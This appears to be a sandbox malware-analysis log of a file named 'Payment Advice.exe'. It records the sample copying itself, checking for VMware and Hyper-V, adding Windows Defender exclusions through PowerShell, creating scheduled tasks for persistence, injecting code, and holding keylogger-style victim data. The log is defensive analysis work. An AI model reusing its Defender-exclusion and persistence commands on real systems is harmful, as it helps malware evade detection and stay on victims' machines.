Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 94453	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 94344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 99874
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 99765
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 99545
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 99218
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 99109
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98996
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98890
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98780
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98671
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98562
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98453
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98343
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98234
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98117
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 98015
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 97906
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 97796
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 97687
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 97578
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 97466
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 97359
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 97249
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 97139
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 97030
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 96921
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 96812
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 96702
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 96593
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 96484
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 96374
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 96265
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 96156
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 96044
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 95937
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 95812
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 93076
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 92965
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 92858
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 92744
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 92640
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 92530
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 92421
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 92292
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 92148
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 92035
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Thread delayed: delay time: 91912
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99827
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99718
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99609
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99498
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99390
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99281
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99172
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99062
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98953
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98844
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98734
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98624
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98515
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98406
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98296
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98186
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98078
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97968
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97859
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97749
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97640
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97531
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97421
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97312
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97203
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97093
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96984
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96875
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96765
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96655
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96547
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96437
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96328
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96218
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96109
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96000
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95890
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95779
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95672
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95562
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95453
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95343
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95234
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95125
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95015
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94906
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94797
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94687
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94578
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99874
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99766
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99547
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99438
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99313
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99188
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99078
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98969
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98844
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98735
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98610
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98485
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98360
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98235
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98110
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97985
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97860
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97735
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97610
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97485
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97360
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97235
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97110
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96985
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96860
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96735
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96610
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96485
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96360
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96235
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96110
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95985
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95860
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95735
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95610
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95485
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95360
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95235
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 95113
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94985
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94860
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94619
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94516
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94406
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 94268
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199958
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199828
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199719

Source: BjTxJte.exe, 0000000E.00000002.1848048895.0000000000872000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\l
Source: BjTxJte.exe, 00000014.00000002.1936987872.0000000005500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: BjTxJte.exe, 0000000E.00000002.1848048895.0000000000872000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: sFPEKzHsLkYZIz.exe, 00000009.00000002.1754542531.000000000152E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8
Source: BjTxJte.exe, 00000019.00000002.4119037268.0000000000F4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll+
Source: Payment Advice.exe, 00000000.00000002.1706697674.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: om&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:L
Source: Payment Advice.exe, 00000008.00000002.4119763177.000000000103D000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Payment Advice.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Payment Advice.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Payment Advice.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe"
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Memory written: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Users\user\Desktop\Payment Advice.exe "C:\Users\user\Desktop\Payment Advice.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp7ACA.tmp"
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process created: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpA082.tmp"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpC03F.tmp"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"

Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q3<b>[ Program Manager]</b> (18/04/2024 23:53:25)<br>
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR^q
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: @\^qDTime: 05/14/2024 14:57:48<br>User Name: user<br>Computer Name: 642294<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br>IP Address: 81.181.57.52<br><hr><b>[ Program Manager]</b> (18/04/2024 23:53:25)<br>{Win}r
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Time: 05/14/2024 14:57:48<br>User Name: user<br>Computer Name: 642294<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br>IP Address: 81.181.57.52<br><hr><b>[ Program Manager]</b> (18/04/2024 23:53:25)<br>{Win}r
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 181.57.52<br><hr><b>[ Program Manager]</b> (18/04/2024 23:53:25)<=
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q9<b>[ Program Manager]</b> (18/04/2024 23:53:25)<br>{Win}rTHcq`
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Time: 05/14/2024 14:57:48<br>User Name: user<br>Computer Name: 642294<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br>IP Address: 81.181.57.52<br><hr><b>[ Program Manager]</b> (18/04/2024 23:53:25)<br>{Win}rTe^qdI
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q8<b>[ Program Manager]</b> (18/04/2024 23:53:25)<br>{Win}THcq`

Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Users\user\Desktop\Payment Advice.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
